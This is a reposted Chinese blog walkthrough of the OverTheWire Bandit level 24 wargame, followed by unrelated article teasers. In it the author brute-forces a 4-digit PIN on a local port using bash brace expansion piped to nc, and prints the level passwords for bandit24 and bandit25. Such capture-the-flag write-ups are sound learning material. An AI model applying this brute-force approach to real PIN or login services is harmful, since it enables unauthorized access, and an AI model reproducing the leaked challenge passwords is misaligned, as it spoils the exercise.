Wargames与bash知识16

Wargames与bash知识16

Bandit24

关卡提示:

  一个守护进程正在端口30002上侦听,如果给定bandit24的密码和一个4位数的密码,它将为您提供bandit25的密码。没有办法检索pincode,除非遍历所有10000个组合,称为暴力强制。

您不需要每次都创建新的连接

这一关用了很长的时间才获得的密码
从关卡提示来看,我第一想到的循环,其次是构建四位数0001—9999。构建数字列表我先想到的是seq命令和花括号扩展。
先在终端命令行看看效果:

bandit24@bandit:~$ seq -w 0001 0009
0001
0002
0003
0004
0005
0006
0007
0008
0009
bandit24@bandit:~$ echo {0001..0009}
0001 0002 0003 0004 0005 0006 0007 0008 0009

先用用户bandit24登录,给30002发一个字符串看看

bandit24@bandit:~$ echo "fdsafsadsf" |nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Fail! You did not supply enough data. Try again.
gfffffffffffff 33
Timeout. Exiting.
bandit24@bandit:~$ gfffffffffffff 33
gfffffffffffff: command not found

获得提示:
1、 我是用户bandit25的密码检查器。请在一行中输入用户bandit24的密码和密码,并用空格分隔。
2、 连接到出现超时中间有时间间隔
3、 输入字符gfffffffffffff 33,用户输入被阻隔直到提示符出现。

我最后选择使用了花括号扩展写了一个脚本,下面是脚本内容。设置9个数字用于检测效果

bandit24@bandit:/tmp/bdit25$ cat it25
#!/bin/bashfor i in {0001..0009};doecho VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ $i |nc localhost 30002donebandit24@bandit:/tmp/bdit25$ ./it25
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Timeout. Exiting.
………省略
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Timeout. Exiting.

使用脚本发现效率奇低,每次循环发送一次字符,然后需等待阻塞结束才会执行下一次循环。回头看提示:有“您不需要每次都创建新的连接“提示,说明使用循环的方法不是最佳的选择。直接用echo给30002端口发送字符串会怎么样呢?

bandit24@bandit:~$ echo VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001..0009} |nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Timeout. Exiting.

执行命令echo VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001…0009} |nc localhost 30002后发现,给端口30002发送字符串只执行了一次。将echo VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001…0009}输出重定向到log文件,查看log发现花括号扩展的结果是一行。

bandit24@bandit:/tmp/bdit25$ echo VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001..0009} >>log
bandit24@bandit:/tmp/bdit25$ cat -n log1  VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0001 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0002 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0003 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0004 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0005 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0006 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0007 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0008 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0009
bandit24@bandit:/tmp/bdit25$
bandit24@bandit:/tmp/bdit25$ ls
it25  log
bandit24@bandit:/tmp/bdit25$ rm log
bandit24@bandit:/tmp/bdit25$ echo VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001..0009}\n >>log
bandit24@bandit:/tmp/bdit25$ cat -n log1  VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0001n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0002n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0003n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0004n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0005n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0006n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0007n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0008n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0009n
bandit24@bandit:/tmp/bdit25$ rm log
bandit24@bandit:/tmp/bdit25$ echo -e VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001..0009}\n >>log
bandit24@bandit:/tmp/bdit25$ cat -n log1  VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0001n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0002n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0003n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0004n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0005n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0006n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0007n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0008n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0009n
bandit24@bandit:/tmp/bdit25$ rm log
bandit24@bandit:/tmp/bdit25$ echo -e VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001..0009}\\n >>log
bandit24@bandit:/tmp/bdit25$ cat -n log1  VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00012   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00023   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00034   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00045   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00056   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00067   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00078   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00089   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 000910

经过测试发现:echo -e VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001…9999}\n符合要求,现在尝试发送到30002端口,这次很快就获得了密码。

bandit24@bandit:/tmp/bdit25$ echo -e VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001..9999}\\n |nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
……
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!
The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8dExiting.
bandit24@bandit:/tmp/bdit25$ 

其他尝试,使用echo -e VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001…9999}\n重定向一个文件,然后将文件内容发送至30002。虽然理论可行,但我在服务器没有实现,提示Wrong的错误到一定行数就像停止了一样。

bandit24@bandit:~$ cd /tmp/bdit25
bandit24@bandit:/tmp/bdit25$ echo -e VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001..9999}\\n >>zidian
bandit24@bandit:/tmp/bdit25$ head zidian
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0001VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0002VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0003VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0004VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0005VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0006VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0007VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0008VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0009VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0010

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/618311.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

用React给XXL-JOB开发一个新皮肤(三):实现登录页和Layout骨架

目录 一. 简述二. 接口服务调整 2.1. 登录接口2.2. 登出接口2.3. 修改密码接口2.4. 修改配置文件 三. 前端HTTP 请求四. 登录页面 4.1. 搭建登录页面4.2. 对接登录接口 五. Layout 骨架 5.1. 搭建骨架5.2. Header5.3. 修改密码5.4. 退出登录 六. 其他 一. 简述 上一篇文章我…

视频监控平台的管理员账号在所有客户端都无法登录的问题解决

目 录 一、问题描述 二、问题排查 1、看问题提示 2、看日志信息 3、问题定位 三、问题解决 1. 添加权限角色 2、添加操作用户 3、验证 一、问题描述 AS-V1000视频监控平台安装部署完成后,发现管理员admin不能到web客户端,觉…

D25XB100-ASEMI家用电器整流桥D25XB100

编辑:ll D25XB100-ASEMI家用电器整流桥D25XB100 型号:D25XB100 品牌:ASEMI 封装:GBJ-5(带康铜丝) 平均正向整流电流(Id):25A 最大反向击穿电压(VRM&…

AcWing 103. 电影(map、pair连用or离散化)

题目 方法一(mappair) 其实上面这么长巴拉巴拉就是在说 首先,每个科学家会的语言都不同。但是呢每部电影的字幕和语言是不一样的(字幕和语言一定不相同) 要求找到一部电影使得在场能听懂的科学家最多(如果存…

Linux Kernel Stack Overflow/Linux 内核栈溢出

不同于Linux应用程序的栈能够动态增长,Linux内核栈是固定的,并且比较小,比如Linux 2.6.x内核,在X86 32位架构上一般是4K或8K(在进行内核编译时,Kernel hacking下进行配置,默认8K)&am…

上门回收小程序开发,让回收更加简单

资源回收一直是当下深受大众关注的话题,如何做到资源不浪费,成为了大众要考虑的问题。在人们环保意识的加深下,回收行业也是获得了大众的关注,逐渐形成了一个新的商业模式。 随着互联网技术的发展,回收行业也更加方便…

C/S架构,集成三维影像后处理功能,自主版权的一套医院PACS系统源码

一、PACS简介 PACS(PictureArchivingandCommunicationsSystem)即图像存储与传输系统,是应用于医院的数字医疗设备如CT、MR(磁共振)、US(超声成像)、X光机、DSA(数字减影&#xff09…

KIBANA可视化管理界面说明

更说明转自https://blog.csdn.net/IT_ZRS/article/details/125496588 1 主要结构功能 使用浏览器访问 ip:5601 默认端口,进入首页 Discover:日志管理视图 主要进行搜索和查询Visualize:统计视图 构建可视化的图表Dashboard&#xf…

【目标检测】YOLOv5算法实现(八):模型验证

本系列文章记录本人硕士阶段YOLO系列目标检测算法自学及其代码实现的过程。其中算法具体实现借鉴于ultralytics YOLO源码Github,删减了源码中部分内容,满足个人科研需求。   本系列文章主要以YOLOv5为例完成算法的实现,后续修改、增加相关模…

JavaWeb,CSS的学习

CSS,层叠样式表(Cascading Style Sheets),能够对网页中元素位置的排版进行像素级精确控制,支持几乎所有的字体字号样式,拥有网页对象和模型样式编辑的能力,简单来说,美化页面。 CSS…

c++临时对象的探讨及相关性能提升

产生临时对象的情况 我们定义一个类进行测试 class tempVal { public:int v1, v2;tempVal(int v1 0, int v2 0);tempVal(const tempVal& t) :v1(t.v1), v2(t.v2) {cout << "调用拷贝构造函数" << endl;}virtual ~tempVal() {cout << "…

【python】——turtle动态画

&#x1f383;个人专栏&#xff1a; &#x1f42c; 算法设计与分析&#xff1a;算法设计与分析_IT闫的博客-CSDN博客 &#x1f433;Java基础&#xff1a;Java基础_IT闫的博客-CSDN博客 &#x1f40b;c语言&#xff1a;c语言_IT闫的博客-CSDN博客 &#x1f41f;MySQL&#xff1a…

AR HUD全面「上新」

AR HUD赛道正在迎来新的时代。 上周&#xff0c;蔚来ET9正式发布亮相&#xff0c;新车定位为D级行政旗舰轿车&#xff0c;其中&#xff0c;在智能座舱交互层面&#xff0c;继理想L系列、长安深蓝S7之后&#xff0c;也首次取消仪表盘&#xff0c;取而代之的是业内首个全焦段AR H…

分块矩阵的定义、计算

目录 一、定义 二、分块矩阵的加减乘法 三、考点 一、定义 分块&#xff0c;顾名思义&#xff0c;将整个矩阵分成几部分&#xff0c;如下图所示 二、分块矩阵的加减乘法 三、考点 分块矩阵的考点不多&#xff0c;一般来说&#xff0c;有一种&#xff1a; 求分块矩阵的转置…

PHP如何拆分中文名字(包括少数民族名字)

/*** param string|null $name* return array|null*/ function splitName($name) {if (empty($name) || empty(trim($name))) {return null;}//该正则是用来提取$name参数里面的中文字符的。preg_match_all(/[\x{4e00}-\x{9fff}]/u, $name, $matchers);$matchersCount isset($…

2024年,谷歌云首席技术官眼中的生成AI三大支柱,来看看有啥新花样

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

App在线封装的革命性创新

随着移动互联网的蓬勃发展&#xff0c;App已经成为我们日常生活中不可或缺的一部分。从购物、交通、社交到娱乐&#xff0c;几乎每个人的智能手机都装载着数十个应用程序&#xff0c;以满足各式各样的需求。然而&#xff0c;对于许多非技术背景的企业家和小型企业而言&#xff…

java---final以及抽象类

final - 修饰变量&#xff1a;变量不能被改变 //演示final修饰变量class Aoo{final int num 5;void show(){//num 55; //编译错误&#xff0c;final的变量不能被改变}} - 修饰方法&#xff1a;方法不能被重写 //演示final修饰方法class Boo{final void show(){}}class Coo ex…

Spring整理-Spring Bean的作用域

在Spring框架中,Bean的作用域定义了Bean实例的生命周期和可见性。Spring提供了多种作用域选项,适用于不同的应用需求。 Spring中的主要Bean作用域 Singleton:默认的作用域。在Spring IoC容器中,对于每个Spring Bean配置,只创建一个实例。适用于无状态的服务,如配置、工具…

【机器学习】模型参数优化工具:Optuna使用分步指南(附XGB/LGBM调优代码)

常用的调参方式和工具包 常用的调参方式包括网格搜索(Grid Search)、**随机搜索(Random Search)和贝叶斯优化(Bayesian Optimization)**等。 工具包方面&#xff0c;Scikit-learn提供了GridSearchCV和RandomizedSearchCV等用于网格搜索和随机搜索的工具。另外&#xff0c;有一…